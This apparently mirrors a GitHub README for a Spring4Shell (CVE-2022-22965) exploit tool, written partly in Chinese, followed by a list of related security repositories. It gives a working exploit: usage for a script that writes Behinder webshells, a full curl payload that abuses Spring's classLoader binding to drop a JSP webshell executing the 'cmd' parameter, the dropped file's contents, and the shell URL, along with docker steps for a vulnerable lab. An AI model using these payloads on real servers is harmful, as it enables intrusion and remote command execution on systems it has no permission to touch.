CVE-2022-22965 : about spring core rce

Related tags

Security related resourcesspringspring-securityspring-mvccve-2022-22965
Overview

CVE-2022-22965: Spring-Core-Rce

EXP

特性:

  1. 漏洞探测(不写入 webshell，简单字符串输出)
  2. 自定义写入 webshell 文件名称及路径
  3. 不会追加写入到同一文件中，每次检测写入到不同名称 webshell 文件
  4. 支持写入 冰蝎 webshell
  5. 代理支持，可以设置自定义的代理，比如: http://127.0.0.1:8080

使用:

$ python3 exp.py -h
usage: exp.py [-h] --url URL --type TYPE [--directory DIRECTORY] [--filename FILENAME]
              [--proxy PROXY]

Srping Core Rce.

optional arguments:
  -h, --help            show this help message and exit
  --url URL             target url,eg: http://127.0.0.1:8082/helloworld/greeting
  --type TYPE           1 vuln test 2.Behinder shell
  --directory DIRECTORY
                        shell directory,eg: webapps/ROOT(Notice: if the path not exists will creat!)
  --filename FILENAME   shell name
  --proxy PROXY         set request proxy,eg: http://127.0.0.1:8080

比如：

$ python3 exp.py --url http://127.0.0.1:8082/helloworld/greeting --type 1 --proxy http://127.0.0.1:8080
[*] waiting for 10s...
[+] inject success, vulnerable!
[+] test at: http://127.0.0.1:8082/inject30297.jsp
[*] Response:
challenge
<!--

POC

直接写入 webshell

curl -v -H "c1: runtime" -H "c2: <%" -H "suffix: %>//" -d "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" http://target:8080/path

The file is dropped to disk:

cat ./apache-tomcat-8.5.77/webapps/ROOT/tomcatwar.jsp 
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))3D-1){ out.println(new String(b)); } } -

shell: target/tomcatwar.jsp?pwd=j&cmd=whoami

环境搭建

使用 vulfocus

ROOT.war 来自白帽汇的 vulfocus 镜像,直接放在 jdk9+ 的 tomcat 环境部署即可启动测试.

也可以自行使用 docker pull

docker run -d -p 8082:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29

然后访问 本地的 8082 端口，显示 OK,即运行成功

使用 Spring4Shell-POC

克隆 https://github.com/lunasec-io/Spring4Shell-POC 然后进入 Spring4Shell-POC 执行 docker 编译启动即可

docker build -f Dockerfile . -t spring4shell && docker run -p 8082:8080 spring4shell

[+] Building 1.4s (12/12) FINISHED                                                                    
 => [internal] load build definition from Dockerfile                                             0.0s
 => => transferring dockerfile: 37B                                                              0.0s
 => [internal] load .dockerignore                                                                0.0s
 => => transferring context: 2B                                                                  0.0s
 => [internal] load metadata for docker.io/library/tomcat:9.0                                    1.3s
 => [internal] load build context                                                                0.0s
 => => transferring context: 965B                                                                0.0s
 => [1/7] FROM docker.io/library/tomcat:[email protected]:9920e45babbbda16cc0f7b939349e1443cc6e0922272  0.0s
 => CACHED [2/7] ADD src/ /helloworld/src                                                        0.0s
 => CACHED [3/7] ADD pom.xml /helloworld                                                         0.0s
 => CACHED [4/7] RUN apt update && apt install maven -y                                          0.0s
 => CACHED [5/7] WORKDIR /helloworld/                                                            0.0s
 => CACHED [6/7] RUN mvn clean package                                                           0.0s
 => CACHED [7/7] RUN mv target/helloworld.war /usr/local/tomcat/webapps/                         0.0s
 => exporting to image                                                                           0.0s
 => => exporting layers                                                                          0.0s
 => => writing image sha256:7b1b653307234587dde30fa2f26b2f3211b2bc8bdb38b4b43f2c321ddda1ee25     0.0s
 => => naming to docker.io/library/spring4shell                                                  0.0s

Use 'docker scan' to run Snyk tests against images to find vulnerabilities and learn how to fix them
NOTE: Picked up JDK_JAVA_OPTIONS:  --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED
01-Apr-2022 15:11:43.950 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Server version name:   Apache Tomcat/9.0.60
01-Apr-2022 15:11:43.956 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Server built:          Mar 9 2022 14:52:25 UTC
01-Apr-2022 15:11:43.956 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Server version number: 9.0.60.0
01-Apr-2022 15:11:43.956 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log OS Name:               Linux
01-Apr-2022 15:11:43.956 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log OS Version:            5.10.76-linuxkit
01-Apr-2022 15:11:43.957 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Architecture:          amd64
01-Apr-2022 15:11:43.957 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Java Home:             /usr/local/openjdk-11
01-Apr-2022 15:11:43.957 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log JVM Version:           11.0.14.1+1
01-Apr-2022 15:11:43.957 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log JVM Vendor:            Oracle Corporation
01-Apr-2022 15:11:43.957 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log CATALINA_BASE:         /usr/local/tomcat
01-Apr-2022 15:11:43.957 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log CATALINA_HOME:         /usr/local/tomcat
01-Apr-2022 15:11:43.970 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: --add-opens=java.base/java.lang=ALL-UNNAMED
01-Apr-2022 15:11:43.970 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: --add-opens=java.base/java.io=ALL-UNNAMED
01-Apr-2022 15:11:43.971 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: --add-opens=java.base/java.util=ALL-UNNAMED
01-Apr-2022 15:11:43.971 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: --add-opens=java.base/java.util.concurrent=ALL-UNNAMED
01-Apr-2022 15:11:43.971 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED
01-Apr-2022 15:11:43.971 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Djava.util.logging.config.file=/usr/local/tomcat/conf/logging.properties
01-Apr-2022 15:11:43.972 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager
01-Apr-2022 15:11:43.972 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Djdk.tls.ephemeralDHKeySize=2048
01-Apr-2022 15:11:43.972 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Djava.protocol.handler.pkgs=org.apache.catalina.webresources
01-Apr-2022 15:11:43.972 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Dorg.apache.catalina.security.SecurityListener.UMASK=0027
01-Apr-2022 15:11:43.973 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Dignore.endorsed.dirs=
01-Apr-2022 15:11:43.973 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Dcatalina.base=/usr/local/tomcat
01-Apr-2022 15:11:43.973 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Dcatalina.home=/usr/local/tomcat
01-Apr-2022 15:11:43.973 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Djava.io.tmpdir=/usr/local/tomcat/temp
01-Apr-2022 15:11:43.977 INFO [main] org.apache.catalina.core.AprLifecycleListener.lifecycleEvent Loaded Apache Tomcat Native library [1.2.31] using APR version [1.7.0].
01-Apr-2022 15:11:43.977 INFO [main] org.apache.catalina.core.AprLifecycleListener.lifecycleEvent APR capabilities: IPv6 [true], sendfile [true], accept filters [false], random [true], UDS [true].
01-Apr-2022 15:11:43.977 INFO [main] org.apache.catalina.core.AprLifecycleListener.lifecycleEvent APR/OpenSSL configuration: useAprConnector [false], useOpenSSL [true]
01-Apr-2022 15:11:43.980 INFO [main] org.apache.catalina.core.AprLifecycleListener.initializeSSL OpenSSL successfully initialized [OpenSSL 1.1.1n  15 Mar 2022]
01-Apr-2022 15:11:44.251 INFO [main] org.apache.coyote.AbstractProtocol.init Initializing ProtocolHandler ["http-nio-8080"]
01-Apr-2022 15:11:44.271 INFO [main] org.apache.catalina.startup.Catalina.load Server initialization in [511] milliseconds
01-Apr-2022 15:11:44.313 INFO [main] org.apache.catalina.core.StandardService.startInternal Starting service [Catalina]
01-Apr-2022 15:11:44.313 INFO [main] org.apache.catalina.core.StandardEngine.startInternal Starting Servlet engine: [Apache Tomcat/9.0.60]
01-Apr-2022 15:11:44.329 INFO [main] org.apache.catalina.startup.HostConfig.deployWAR Deploying web application archive [/usr/local/tomcat/webapps/helloworld.war]
01-Apr-2022 15:11:45.358 INFO [main] org.apache.jasper.servlet.TldScanner.scanJars At least one JAR was scanned for TLDs yet contained no TLDs. Enable debug logging for this logger for a complete list of JARs that were scanned but no TLDs were found in them. Skipping unneeded JARs during scanning can improve startup time and JSP compilation time.

  .   ____          _            __ _ _
 /\\ / ___'_ __ _ _(_)_ __  __ _ \ \ \ \
( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \
 \\/  ___)| |_)| | | | | || (_| |  ) ) ) )
  '  |____| .__|_| |_|_| |_\__, | / / / /
 =========|_|==============|___/=/_/_/_/
 :: Spring Boot ::                (v2.6.3)

2022-04-01 15:11:45.952  INFO 1 --- [           main] c.r.helloworld.HelloworldApplication     : Starting HelloworldApplication v0.0.1-SNAPSHOT using Java 11.0.14.1 on 00bf66f10525 with PID 1 (/usr/local/tomcat/webapps/helloworld/WEB-INF/classes started by root in /helloworld)
2022-04-01 15:11:45.956  INFO 1 --- [           main] c.r.helloworld.HelloworldApplication     : No active profile set, falling back to default profiles: default
2022-04-01 15:11:46.614  INFO 1 --- [           main] w.s.c.ServletWebServerApplicationContext : Root WebApplicationContext: initialization completed in 638 ms
2022-04-01 15:11:47.137  INFO 1 --- [           main] c.r.helloworld.HelloworldApplication     : Started HelloworldApplication in 1.618 seconds (JVM running for 3.594)
01-Apr-2022 15:11:47.157 INFO [main] org.apache.catalina.startup.HostConfig.deployWAR Deployment of web application archive [/usr/local/tomcat/webapps/helloworld.war] has finished in [2,828] ms
01-Apr-2022 15:11:47.169 INFO [main] org.apache.coyote.AbstractProtocol.start Starting ProtocolHandler ["http-nio-8080"]
01-Apr-2022 15:11:47.179 INFO [main] org.apache.catalina.startup.Catalina.start Server startup in [2908] milliseconds

然后访问 http://127.0.0.1:8082/helloworld/greeting

image

Reference：

Owner
东方有鱼名为咸
InfoSec & Penteste studying & Feral programmer
东方有鱼名为咸
GitHub Repository
Easily retargetable and hackable interactive disassembler with IDAPython-compatible plugin API

ScratchABit is an interactive incremental disassembler with data/control flow analysis capabilities. ScratchABit is dedicated to the effor

Paul Sokolovsky 380 Dec 28, 2022
BETA: Layla - recon tool for bug bounty

ＷＥＬＣＯＭＥ ＴＯ ＬＡＹＬＡ Layla is a python script that automatically performs recon on a

Matheus Faria 68 Jan 04, 2023
Crypto Meta Extractor

Crypto Meta Extractor This repository contains the code which extracts some metadata of all the cryptocurrencies listed (9K) on CoinMarketCap. Coding

Samyak Jain 3 Jul 03, 2022
This repository will contain python scripts for hackers and pentesters

This repository will contain python scripts for hackers and pentesters. stop being limited with availble tools. Build your own.

0xTRAW 24 Nov 29, 2022
Signatures and IoCs from public Volexity blog posts.

threat-intel This repository contains IoCs related to Volexity public threat intelligence blog posts. They are organised by year, and within each year

Volexity 130 Dec 29, 2022
Rouge Spammers with a mission to disrupt the peace of the valley ? Fear not we will STOMP the Spammers

Rouge Spammers with a mission to disrupt the peace of the valley ? Fear not we will STOMP the Spammers New Update : adding 'on-review' tag on an issue

A N U S H 13 Sep 19, 2021
macOS Initial Access Payload Generator

Mystikal macOS Initial Access Payload Generator Related Blog Post: https://posts.specterops.io/introducing-mystikal-4fbd2f7ae520 Usage: Install Xcode

Leo Pitt 206 Dec 31, 2022
Just another script for automatize boolean-based blind SQL injections.

SQL Blind Injection Tool A script for automatize boolean-based blind SQL injections. Works with SQLite at least, supports using cookies. It uses bitwi

RIM 51 Dec 15, 2022
Nmap scanner with python

Nmap_scanner Usage: sudo python3 nmap_ping.py -i Network List.txt -o Output Folder Location Program can Run Ping Scan Run Port Scan Run Nmap Vuln

Arshaad Mohiadeen 3 Apr 13, 2022
DCSync - DCSync Attack from Outside using Impacket

Adding DCSync Permissions Mostly copypasta from https://github.com/tothi/rbcd-at

n00py 77 Dec 16, 2022
logmap: Log4j2 jndi injection fuzz tool

logmap - Log4j2 jndi injection fuzz tool Used for fuzzing to test whether there are log4j2 jndi injection vulnerabilities in header/body/path Use http

之乎者也 67 Oct 25, 2022
Port scanner tool with easy installation

ort scanner tool with easy installation! Python programming language is used and The text in the program is Georgian 3

2 Mar 24, 2022
Anti Supercookie - Confusing the ISP & Escaping the Supercookie

Confusing the ISP & Escaping the Supercookie

Baris Dincer 2 Nov 22, 2022
Threat Intelligence Gathering 威胁情报收集，旨在提高蓝队拿到攻击 IP 后对其进行威胁情报信息收集的效率。

0x00 介绍 tig Threat Intelligence Gathering 威胁情报收集，旨在提高蓝队拿到攻击 IP 后对其进行威胁情报信息收集的效率，目前已集成微步、IP 域名反查、Fofa 信息收集、ICP 备案查询、IP 存活检测五个模块，现已支持以下信息的查询： ✅ 微步标签 ✅ I

Wolf Group Security Team 698 Dec 09, 2022
PoC for CVE-2021-45897 aka SCRMBT-#180 - RCE via Email-Templates (Authenticated only) in SuiteCRM <= 8.0.1

CVE-2021-45897 PoC for CVE-2021-45897 aka SCRMBT-#180 - RCE via Email-Templates (Authenticated only) in SuiteCRM = 8.0.1 This vulnerability was repor

Manuel Zametter 17 Nov 09, 2022
Unauthenticated Sqlinjection that leads to dump data base but this one impersonated Admin and drops a interactive shell

Unauthenticated Sqlinjection that leads to dump database but this one impersonated Admin and drops a interactive shell

sam 16 Nov 09, 2022
You can manage your password with this program.

You must have Python compilers in order to run this program. First of all, download the compiler in the link.

Mustafa Bahadır Doğrusöz 6 Aug 07, 2021
A python module for retrieving and parsing WHOIS data

pythonwhois A WHOIS retrieval and parsing library for Python. Dependencies None! All you need is the Python standard library. Instructions The manual

Sven Slootweg 384 Dec 23, 2022
You can crack any zip file and get the password.

Zip-Cracker Video Lesson : This is a Very powerfull Zip File Crack tool for termux users. Check 500 000 Passwords in 30 seconds Unique Performance Che

Razor Kenway 13 Oct 24, 2022
Bypass 4xx HTTP response status codes.

Forbidden Bypass 4xx HTTP response status codes. To see all the test cases, check the source code - follow the NOTE comments. Script uses multithreadi

Ivan Šincek 165 Dec 28, 2022